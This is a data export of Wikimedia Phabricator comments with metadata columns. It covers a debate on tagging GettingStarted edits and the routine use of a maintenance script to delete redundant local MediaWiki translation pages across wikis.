+205555,Only tag edits via GettingStarted if the user is actually new,"The general trend of permanently tagging edits should be examined. Other sites engage in similar practices (such as Facebook marking mobile posts), but whether this is a good thing or whether it should be encouraged is up for debate.
+
+In this case, I don't think permanently marking someone's first edits after you've secretly tagged them as part of an experiment that they didn't opt in to is a good idea. Do other bad tags exist? Yes, but those aren't really relevant here.",,,1359156311,,PHID-USER-hyfm4swq76s4j642w46x,False,,,PHID-TASK-o2degjsneil7pojmpiav,task_subcomment,,True,c1,1,False,,,-23,,0,1,0,1,1,1,1,0,0,0,1,1,0,0,0,1,0,1,1,1,1,1,0,0,1,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,0,1,0,1,0,0,1,0,0,1,1,1,0,1,0,0,0,1,0,0,1,1,0,0,1,0,0,1,1,1,1,1,1,0,0,0,0,1,1,0,0,1,1,1,1,0,0,1,0,1,1,1,1,0,0,0
+205549,Only tag edits via GettingStarted if the user is actually new,This proposal is a specific case of https://bugzilla.wikimedia.org/show_bug.cgi?id=18670 .,,,1359155975,,PHID-USER-dw53c5cb2qfhyemej57o,False,,,PHID-TASK-o2degjsneil7pojmpiav,task_subcomment,,True,c1,1,True,,,-23,,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,0
+205543,Only tag edits via GettingStarted if the user is actually new,"I'm not yet convinced this is a problem.  There are a variety of permanent tags (edit filter, VisualEditor, etc.).  In all cases, it's a good-faith tag of the edit.
+
+Edit filter tags are permanent, even though they sometimes wrongly flag an edit as harmful.  It's just understood that the situation will be cleared up, and editors will move on.
+
+Similarly, the fact that a user made a Special:GettingStarted edit doesn't even mean they're necessarily new.  It's understood and accepted that established users can also have this tag on their edits if they use the page.
+
+It indicates how they made it.  It certainly is not a marker of whether the edit is productive.  And it doesn't really say anything about the user, let alone the user's future work.",,,1359155274,,PHID-USER-dw53c5cb2qfhyemej57o,False,,,PHID-TASK-o2degjsneil7pojmpiav,task_subcomment,,True,c1,1,True,,,-23,,1,1,0,1,1,1,1,0,1,1,1,1,0,0,1,1,0,1,1,1,0,0,0,0,1,1,0,0,1,1,0,1,1,1,1,0,0,0,1,1,0,1,0,1,0,1,1,0,1,1,1,1,0,1,0,0,0,1,1,0,1,1,0,1,0,0,1,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,1,1,0,0,0,0,1
+45917,"Delete all redundant ""MediaWiki"" pages for system messages","I encountered many times now on wikis (usually the small wikis) that there are 100s of local MediaWiki pages with translations from before translatewiki.net covered that language.
+
+And even after twn covered it, there may have been local improvements that over time make it into twn, but then the local page stales.
+
+To avoid translations from going out of sync (the longer we wait with this, the harder it is to clean them up as the difference between an override and an outdated translation becomes harder to tell), and also to avoid migration issues when messages change.
+
+Lets run this asap.
+
+--------------------------
+//EDIT//: deleteEqualMessages.php has been completed on the following wikis:
+{P1988}",Low,25.0,1358039640,1488864149.0,PHID-USER-sai77mtxmpqnm6pycyvz,False,PHID-USER-sai77mtxmpqnm6pycyvz,False,PHID-TASK-odpakiqqpzglf5pzvu3o,task_description,resolved,True,c1,1,True,True,False,-25,,1,0,0,1,0,1,1,0,0,0,1,0,0,0,1,1,0,1,1,0,1,0,0,0,1,0,0,0,1,0,0,1,0,1,0,0,0,0,0,0,0,1,1,1,0,0,0,0,0,1,1,1,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,0,1,1,1,1,1,0,1
+1105996,"Delete all redundant ""MediaWiki"" pages for system messages","{nav icon=file, name=Mentioned in SAL (#wikimedia-operations), href=https://tools.wmflabs.org/sal/log/AWSrzRPvwY2u4JUTPlju} [2018-07-18T05:11:41Z] <Krinkle> mwscript deleteEqualMessages.php --wiki dewiki (1 page) - T45917",,,1531890702,,PHID-USER-j4uyesgqhubl2dywl4xd,False,,,PHID-TASK-odpakiqqpzglf5pzvu3o,task_subcomment,,True,c1,3,False,,,263,,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1
+1105995,"Delete all redundant ""MediaWiki"" pages for system messages","{nav icon=file, name=Mentioned in SAL (#wikimedia-operations), href=https://tools.wmflabs.org/sal/log/AWSrzN-hwY2u4JUTPljt} [2018-07-18T05:11:27Z] <Krinkle> mwscript deleteEqualMessages.php --wiki ruwiki (4 pages) - T45917",,,1531890688,,PHID-USER-j4uyesgqhubl2dywl4xd,False,,,PHID-TASK-odpakiqqpzglf5pzvu3o,task_subcomment,,True,c1,3,False,,,263,,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1
+1105994,"Delete all redundant ""MediaWiki"" pages for system messages","{nav icon=file, name=Mentioned in SAL (#wikimedia-operations), href=https://tools.wmflabs.org/sal/log/AWSrzKYowY2u4JUTPljs} [2018-07-18T05:11:13Z] <Krinkle> mwscript deleteEqualMessages.php --wiki frwiki (5 pages) - T45917",,,1531890673,,PHID-USER-j4uyesgqhubl2dywl4xd,False,,,PHID-TASK-odpakiqqpzglf5pzvu3o,task_subcomment,,True,c1,3,False,,,263,,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1
+1105991,"Delete all redundant ""MediaWiki"" pages for system messages","{nav icon=file, name=Mentioned in SAL (#wikimedia-operations), href=https://tools.wmflabs.org/sal/log/AWSryx3NoDEJc1hAykSQ} [2018-07-18T05:09:32Z] <Krinkle> mwscript deleteEqualMessages.php --wiki metawiki (deleted 1 page) - T45917",,,1531890573,,PHID-USER-j4uyesgqhubl2dywl4xd,False,,,PHID-TASK-odpakiqqpzglf5pzvu3o,task_subcomment,,True,c1,3,False,,,263,,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1
+1105990,"Delete all redundant ""MediaWiki"" pages for system messages","{nav icon=file, name=Mentioned in SAL (#wikimedia-operations), href=https://tools.wmflabs.org/sal/log/AWSrywV9oDEJc1hAykSP} [2018-07-18T05:09:26Z] <Krinkle> mwscript deleteEqualMessages.php --wiki test2wiki (deleted 2 pages) - T45917",,,1531890567,,PHID-USER-j4uyesgqhubl2dywl4xd,False,,,PHID-TASK-odpakiqqpzglf5pzvu3o,task_subcomment,,True,c1,3,False,,,263,,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1
+831853,"Delete all redundant ""MediaWiki"" pages for system messages","{nav icon=file, name=Mentioned in SAL (#wikimedia-operations), href=https://tools.wmflabs.org/sal/log/AVsHFYbVlCyyDMEPvX-7} [2017-03-25T20:08:22Z] <Krinkle> Ran mwscript deleteEqualMessages.php on public wikis (T45917) - deleted 5 pages across 5 wikis",,,1490472503,,PHID-USER-j4uyesgqhubl2dywl4xd,False,,,PHID-TASK-odpakiqqpzglf5pzvu3o,task_subcomment,,True,c1,3,False,,,194,,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1
+828638,"Delete all redundant ""MediaWiki"" pages for system messages","{nav icon=file, name=Mentioned in SAL (#wikimedia-operations), href=https://tools.wmflabs.org/sal/log/AVruLkTylCyyDMEPvWIy} [2017-03-21T00:04:54Z] <Krinkle> mwscript deleteEqualMessages.php on public wikis (T45917)",,,1490054696,,PHID-USER-j4uyesgqhubl2dywl4xd,False,,,PHID-TASK-odpakiqqpzglf5pzvu3o,task_subcomment,,True,c1,3,False,,,194,,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1
+827773,"Delete all redundant ""MediaWiki"" pages for system messages","> if dry run, where to publish it. (https://people.wikimedia.org/~krinkle/ maybe?)
+
+That would be ok. On the other hand, this list already proves that LocalisationUpdate is needed and must be faster, to avoid accumulating translator frustration and unnecessary technical debt (see ruwiki example: https://ru.wikipedia.org/w/index.php?title=MediaWiki%3ACreate-local&type=revision&diff=84144899&oldid=84144800 https://translatewiki.net/w/i.php?title=MediaWiki%3ACreate-local%2Fru&type=revision&diff=7293894&oldid=5453967 ).",,,1489915878,,PHID-USER-v7bwpq3rs3zdxegibdbh,False,,,PHID-TASK-odpakiqqpzglf5pzvu3o,task_subcomment,,True,c1,3,True,,,193,,0,0,0,1,0,1,1,0,0,1,0,0,0,0,0,0,0,1,1,0,1,1,0,0,0,0,0,0,0,1,0,1,1,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,1,1,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,1,0,0,1,1,1,0,0,1,1,0,1
+827659,"Delete all redundant ""MediaWiki"" pages for system messages",">>! In T45917#3083680, @Amire80 wrote:
+>>>! In T45917#3083285, @Nemo_bis wrote:
+>> So if anything we should have a cronjob with a dry run, which triggers an alert somewhere when messages get translated locally. [..]
+> 
+> I regularly check Special:AllMessages //in languages that I know//. I wish it was done in all languages, but I alone don't have the capacity to do it manually. [..]
+
+If I understand correctly, you're looking for instances of where the translation is overridden and not equal - e.g. to find potential improvements that could be upstreamed. I'm not sure how to automate that since many of those will be semi-permanent local modifications that are specific to the wiki.
+
+However if we want to find out about translations that were once local overrides but are now redundant (presumably due to it being upstreamed), I could run the maintenance script that this task is about, from a cron on terbium.
+
+It's only been 10 days, but there are already plenty of translations detected again that are now equal:
+```
+foreachwikiindblist 'all - private' deleteEqualMessages.php | tee out-deleteEqualMessages-allwikis-dry.log
+-----------------------------------------------------------------
+aawiki
+-----------------------------------------------------------------
+aawiki:  Checking for pages with default message...
+aawiki:  ... fetching message info for content language
+aawiki:  done.
+-----------------------------------------------------------------
+```
+Filtered output:
+```lines=5
+$ grep '*' out-deleteEqualMessages-allwikis-dry.log 
+bnwiki:  * [[মিডিয়াউইকি:Cite references link many format backlink labels]]
+cebwiki:  * [[MediaWiki:Loginreqlink]]
+commonswiki:  * [[MediaWiki:Kartographer.js]]
+donatewiki:  * [[MediaWiki:Donate interface-problemsdonating]]
+donatewiki:  * [[MediaWiki:Fundraiserlandingpage-wmch-landing-page]]
+elwiki:  * [[MediaWiki:Ep-addstudents-btn]]
+elwiki:  * [[MediaWiki:Ep-user-roles-message-additional]]
+guwikisource:  * [[મીડિયાવિકિ:Common.js]]
+guwikisource:  * [[મીડિયાવિકિ ચર્ચા:Common.js]]
+guwikisource:  * [[મીડિયાવિકિ:Proofreadpage quality3 category]]
+hrwiktionary:  * [[MediaWiki:Prefs-personal]]
+mkwiki:  * [[МедијаВики:Searchresults-title]]
+plwiki:  * [[MediaWiki:Wm-license-cc-wiki-link]]
+plwiki:  * [[MediaWiki:Wikieditor-toolbar-tool-link-int-target]]
+plwiki:  * [[MediaWiki:Wikieditor-toolbar-tool-link-int-text]]
+plwiki:  * [[MediaWiki:Geodata-broken-tags-category]]
+ruwiki:  * [[MediaWiki:Create-local]]
+trwiki:  * [[MediaWiki:Autosumm-blank]]
+trwiki:  * [[MediaWiki:Group-interface-editor]]
+trwiki:  * [[MediaWiki:Grouppage-interface-editor]]
+trwikibooks:  * [[MediaWiki:Autosumm-blank]]
+trwikiquote:  * [[MediaWiki:Autosumm-blank]]
+trwikisource:  * [[MediaWiki:Autosumm-blank]]
+trwiktionary:  * [[MediaWiki:Autosumm-blank]]
+trwiktionary:  * [[MediaWiki tartışma:Autosumm-blank]]
+ukwikivoyage:  * [[MediaWiki:Group-uploader]]
+ukwikivoyage:  * [[MediaWiki:Group-uploader-member]]
+ukwikivoyage:  * [[MediaWiki:Wikibase-otherprojects-wikipedia]]
+ukwikivoyage:  * [[MediaWiki:Interlanguage-link-wikipedia]]
+ukwikivoyage:  * [[MediaWiki:Interlanguage-link-commons]]
+```
+
+I'm open for ideas on whether to schedule this periodically, as dry run or not, and if dry run, where to publish it. (<https://people.wikimedia.org/~krinkle/> maybe?)",,,1489809250,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-odpakiqqpzglf5pzvu3o,task_subcomment,,True,c1,3,True,,,193,,1,1,0,1,1,1,1,0,0,1,1,1,0,1,1,1,1,1,1,1,1,1,1,0,1,0,0,1,1,1,0,1,1,1,1,1,0,1,1,0,0,0,1,1,0,1,1,1,0,1,1,1,0,0,0,1,0,1,0,1,1,1,0,0,1,1,0,1,1,1,1,1,1,0,0,1,0,1,0,1,0,1,1,1,0,1,1,1,0,1,1,0,1,0,0,1
+821689,"Delete all redundant ""MediaWiki"" pages for system messages",">>! In T45917#3083285, @Nemo_bis wrote:
+> So if anything we should have a cronjob with a dry run, which triggers an alert somewhere when messages get translated locally. It could be one useful signal of an insufficient frequency of localisation updates, due to broken LocalisationUpdate or other reasons. (In general, we already know that the updates must be daily; but contingent data points are still useful.)
+
+This.
+
+I regularly check Special:AllMessages //in languages that I know//. I wish it was done in all languages, but I alone don't have the capacity to do it manually. I very frequently find not only translation mistakes, but also reasons to fix the original English message, and of course this happens not only when the local customization is the same as the original message, but also when it's different.
+
+It's good to have local translation in the MediaWiki space as a quick fix for particularly bad translation mistakes, or for actually-needed local customizations, but it must not be relied upon as a an actual way to translate the interface, even temporarily. (And even though I'm saying ""actually-needed local customization"", these should actually always raise the question of whether this thing should be done through a message at all, but that's a separate topic.)",,,1488969396,,PHID-USER-xfe43w2lb5gpvglf4coa,False,,,PHID-TASK-odpakiqqpzglf5pzvu3o,task_subcomment,,True,c1,3,False,,,192,,1,1,1,1,1,1,1,0,1,1,1,1,0,1,0,1,0,1,1,1,1,1,0,0,1,0,0,1,1,0,0,1,1,1,1,0,0,1,0,0,0,0,0,1,0,1,1,0,1,1,1,1,0,0,0,0,0,1,1,0,1,1,0,0,1,0,0,1,1,1,1,1,1,0,0,1,0,1,0,1,0,1,1,1,0,1,1,1,0,1,1,0,1,0,0,1
+821617,"Delete all redundant ""MediaWiki"" pages for system messages","So if anything we should have a cronjob with a dry run, which triggers an alert somewhere when messages get translated locally. It could be one useful signal of an insufficient frequency of localisation updates, due to broken LocalisationUpdate or other reasons. (In general, we already know that the updates must be daily; but contingent data points are still useful.)",,,1488962701,,PHID-USER-v7bwpq3rs3zdxegibdbh,False,,,PHID-TASK-odpakiqqpzglf5pzvu3o,task_subcomment,,True,c1,3,True,,,192,,0,1,0,0,0,1,1,0,0,1,1,0,0,0,0,1,0,1,1,1,0,1,0,0,0,0,0,1,1,0,0,1,1,1,0,0,0,1,0,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,0,1,1,0,0,0,0,0
+821332,"Delete all redundant ""MediaWiki"" pages for system messages","That's what I'm saying. The usual reason people were editing the messages was because LU was broken, or there was a long time between deploys.
+
+I'm not even suggesting we encourage people to edit the MW namespace like that",,,1488923437,,PHID-USER-6vzzsmi22zem6yttr6vp,False,,,PHID-TASK-odpakiqqpzglf5pzvu3o,task_subcomment,,True,c1,3,False,,,192,,0,0,0,1,1,1,1,1,0,0,0,1,0,0,1,1,0,1,1,0,1,0,0,0,1,0,0,0,0,0,0,1,1,0,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,1,1,0,1,0,0,0
+821320,"Delete all redundant ""MediaWiki"" pages for system messages","I agree with @nemo_bis why force people to do something they dont want to, especially if we have the ability to do it ourselves. ",,,1488922841,,PHID-USER-ct4qymje4lpxby255tze,False,,,PHID-TASK-odpakiqqpzglf5pzvu3o,task_subcomment,,True,c1,3,False,,,192,,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,1,1,1,1,0,0,0,0,0,0,0,0,0,0,1,0,1,1,0,0,0,1,1,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,1,0,1,1,0,1,0,0,0,0,1,0,0,0,1,1,1,0,0,1,1,0,1,0,1,0,0,0,0
+821317,"Delete all redundant ""MediaWiki"" pages for system messages","> People that don't want to wait for train deploys and/or LocalisationUpdate?
+
+Forcing such people to edit the MediaWiki namespace would be a broken system.",,,1488922637,,PHID-USER-v7bwpq3rs3zdxegibdbh,False,,,PHID-TASK-odpakiqqpzglf5pzvu3o,task_subcomment,,True,c1,3,True,,,192,,0,0,0,0,1,1,1,0,0,0,0,1,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,1,1,1,0,1,1,0,0,0,0,1,0,0,0,0,1,1,1,0,0,0,0,1,1,0,1,0,0,0
+821315,"Delete all redundant ""MediaWiki"" pages for system messages",">>! In T45917#3081939, @Nemo_bis wrote:
+>> Any reason we can't cronjob it, say monthly?
+> 
+> This is supposed not to be a recurring task on each wiki: if it's needed regularly, then something is wrong.
+
+People that don't want to wait for train deploys and/or LocalisationUpdate?",,,1488922530,,PHID-USER-6vzzsmi22zem6yttr6vp,False,,,PHID-TASK-odpakiqqpzglf5pzvu3o,task_subcomment,,True,c1,3,False,,,192,,1,1,0,1,1,1,1,0,0,1,1,1,0,0,0,1,0,1,1,1,1,0,0,0,1,0,0,0,0,0,0,1,1,1,1,0,0,0,0,0,0,0,0,0,0,1,0,1,0,1,1,0,1,0,0,0,0,0,0,0,1,0,0,1,0,1,0,1,1,1,1,1,1,0,0,1,0,1,0,0,0,1,1,1,1,0,1,1,0,1,1,0,1,0,0,1
+821306,"Delete all redundant ""MediaWiki"" pages for system messages","> Any reason we can't cronjob it, say monthly?
+
+This is supposed not to be a recurring task on each wiki: if it's needed regularly, then something is wrong.",,,1488922193,,PHID-USER-v7bwpq3rs3zdxegibdbh,False,,,PHID-TASK-odpakiqqpzglf5pzvu3o,task_subcomment,,True,c1,3,True,,,192,,1,1,0,1,1,1,1,0,0,1,0,1,0,0,0,1,0,1,1,1,1,0,0,0,0,0,0,0,0,0,0,1,1,1,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,1,1,1,0,1,0,0,0,0,1,0,0,0,1,1,0,1,0,0,1,0,0,1,0,1,0,0,0
+821230,"Delete all redundant ""MediaWiki"" pages for system messages","It'd be interesting to see the scale of this in relation to T158360...
+
+Any reason we can't cronjob it, say monthly?",,,1488917248,,PHID-USER-6vzzsmi22zem6yttr6vp,False,,,PHID-TASK-odpakiqqpzglf5pzvu3o,task_subcomment,,True,c1,3,False,,,192,,1,0,0,0,1,1,1,0,0,0,1,1,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,0,0,1,0,1,1,1,1,0,0,0,0,0,0,0,0,1,0,1,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,1,1,0,0,1,0,0,0,0,1,0,0,0,1,1,1,1,0,0,1,0,0,0,0,0,0,0,0
+821224,"Delete all redundant ""MediaWiki"" pages for system messages","@MarcoAurelio Thanks. Yeah, my thoughts exactly. This should be re-run from time to time as upstreaming happens all the time.
+
+Meanwhile, as always, feel free to ask here or on IRC for a run on a specific wiki (or set of wikis).",,,1488916953,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-odpakiqqpzglf5pzvu3o,task_subcomment,,True,c1,3,True,,,192,,1,0,0,1,0,1,1,0,0,0,1,0,0,0,0,1,1,1,1,0,1,1,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,1,0,0,1,1,1,0,0,1,1,0,0,1,0,0,0,0,0
+821223,"Delete all redundant ""MediaWiki"" pages for system messages","@MarcoAurelio Thanks. Yeah, my thoughts exactly. This should be re-run from time to time as upstreaming happens all the time.
+
+Meanwhile, as always, feel free to ask here on IRC for a run on a specific wiki (or set of wikis).",,,1488916940,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-odpakiqqpzglf5pzvu3o,task_subcomment,,True,c1,3,True,,,192,,1,0,0,1,0,1,1,0,0,0,1,0,0,0,0,1,1,1,1,0,1,1,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,1,0,0,1,1,1,0,0,1,1,0,0,1,0,0,0,0,0
+821222,"Delete all redundant ""MediaWiki"" pages for system messages","@MarcoAurelio Thanks. Yeah, my thoughts exactly. This should be re-run from time to time as upstreaming happens all the time.",,,1488916895,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-odpakiqqpzglf5pzvu3o,task_subcomment,,True,c1,3,True,,,192,,1,0,0,1,0,0,1,0,0,0,1,0,0,0,0,1,1,1,1,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,1,1,0,0,1,1,1,0,0,1,1,0,0,0,0,0,0,0,0
+820828,"Delete all redundant ""MediaWiki"" pages for system messages","We should do this once or twice a year. Nice job, thanks.",,,1488893219,,PHID-USER-xvs3y6hf6yrfn6sxrk5d,False,,,PHID-TASK-odpakiqqpzglf5pzvu3o,task_subcomment,,True,c1,3,False,,,192,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,1,0,1,1,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,0,0,1,0,0,0,0,0
+820603,"Delete all redundant ""MediaWiki"" pages for system messages","{nav icon=file, name=Mentioned in SAL (#wikimedia-operations), href=https://tools.wmflabs.org/sal/log/AVqnN6AAHQCSeVEJfRZs} [2017-03-07T05:22:04Z] <Krinkle> foreachwikiindblist 'all - closed - private' deleteEqualMessages.php (T45917) - purge upstreamed translations from remaining wikis",,,1488864127,,PHID-USER-j4uyesgqhubl2dywl4xd,False,,,PHID-TASK-odpakiqqpzglf5pzvu3o,task_subcomment,,True,c1,3,False,,,192,,1,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,1,0,0,1,0,0,1,1,0,1,0,0,1,0,0,0,1,0,0,1
+820581,"Delete all redundant ""MediaWiki"" pages for system messages","{nav icon=file, name=Mentioned in SAL (#wikimedia-operations), href=https://tools.wmflabs.org/sal/log/AVqm0BIAlCyyDMEPvRe-} [2017-03-07T03:28:58Z] <Krinkle> foreachwikiindblist closed deleteEqualMessages.php (T45917) - purge upstreamed translations from closed wikis",,,1488857338,,PHID-USER-j4uyesgqhubl2dywl4xd,False,,,PHID-TASK-odpakiqqpzglf5pzvu3o,task_subcomment,,True,c1,3,False,,,192,,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1
+814250,"Delete all redundant ""MediaWiki"" pages for system messages","{nav icon=file, name=Mentioned in SAL (#wikimedia-operations), href=https://tools.wmflabs.org/sal/log/AVpoVYifQMK9DA-FKjFz} [2017-02-23T00:18:40Z] <Krinkle> mwscript deleteEqualMessages.php --wiki simplewikibooks (T45917)",,,1487809120,,PHID-USER-j4uyesgqhubl2dywl4xd,False,,,PHID-TASK-odpakiqqpzglf5pzvu3o,task_subcomment,,True,c1,3,False,,,190,,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1
+796214,"Delete all redundant ""MediaWiki"" pages for system messages","{nav icon=file, name=Mentioned in SAL (#wikimedia-operations), href=https://tools.wmflabs.org/sal/log/AVnODfVMHQCSeVEJfEH0} [2017-01-24T01:18:58Z] <Krinkle> mwscript deleteEqualMessages.php --wiki gotwiki (T45917)",,,1485220738,,PHID-USER-j4uyesgqhubl2dywl4xd,False,,,PHID-TASK-odpakiqqpzglf5pzvu3o,task_subcomment,,True,c1,3,False,,,186,,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1
+795444,"Delete all redundant ""MediaWiki"" pages for system messages",@Krinkle: Maybe https://meta.wikimedia.org/wiki/Steward_requests/Miscellaneous#All_local_mediawiki_messages_on_got.wikipedia.org_should_be_deleted is of interest here. Thanks.,,,1485096966,,PHID-USER-xvs3y6hf6yrfn6sxrk5d,False,,,PHID-TASK-odpakiqqpzglf5pzvu3o,task_subcomment,,True,c1,3,False,,,185,,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,1,0,1,0,0,0,0,0,0,0
+787268,"Delete all redundant ""MediaWiki"" pages for system messages","{nav icon=file, name=Mentioned in SAL (#wikimedia-operations), href=https://tools.wmflabs.org/sal/log/AVlreqFoHQCSeVEJe_Xe} [2017-01-04T21:55:15Z] <Krinkle> mwscript deleteEqualMessages.php --wiki nowikinews (T45917)",,,1483566916,,PHID-USER-j4uyesgqhubl2dywl4xd,False,,,PHID-TASK-odpakiqqpzglf5pzvu3o,task_subcomment,,True,c1,3,False,,,183,,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1
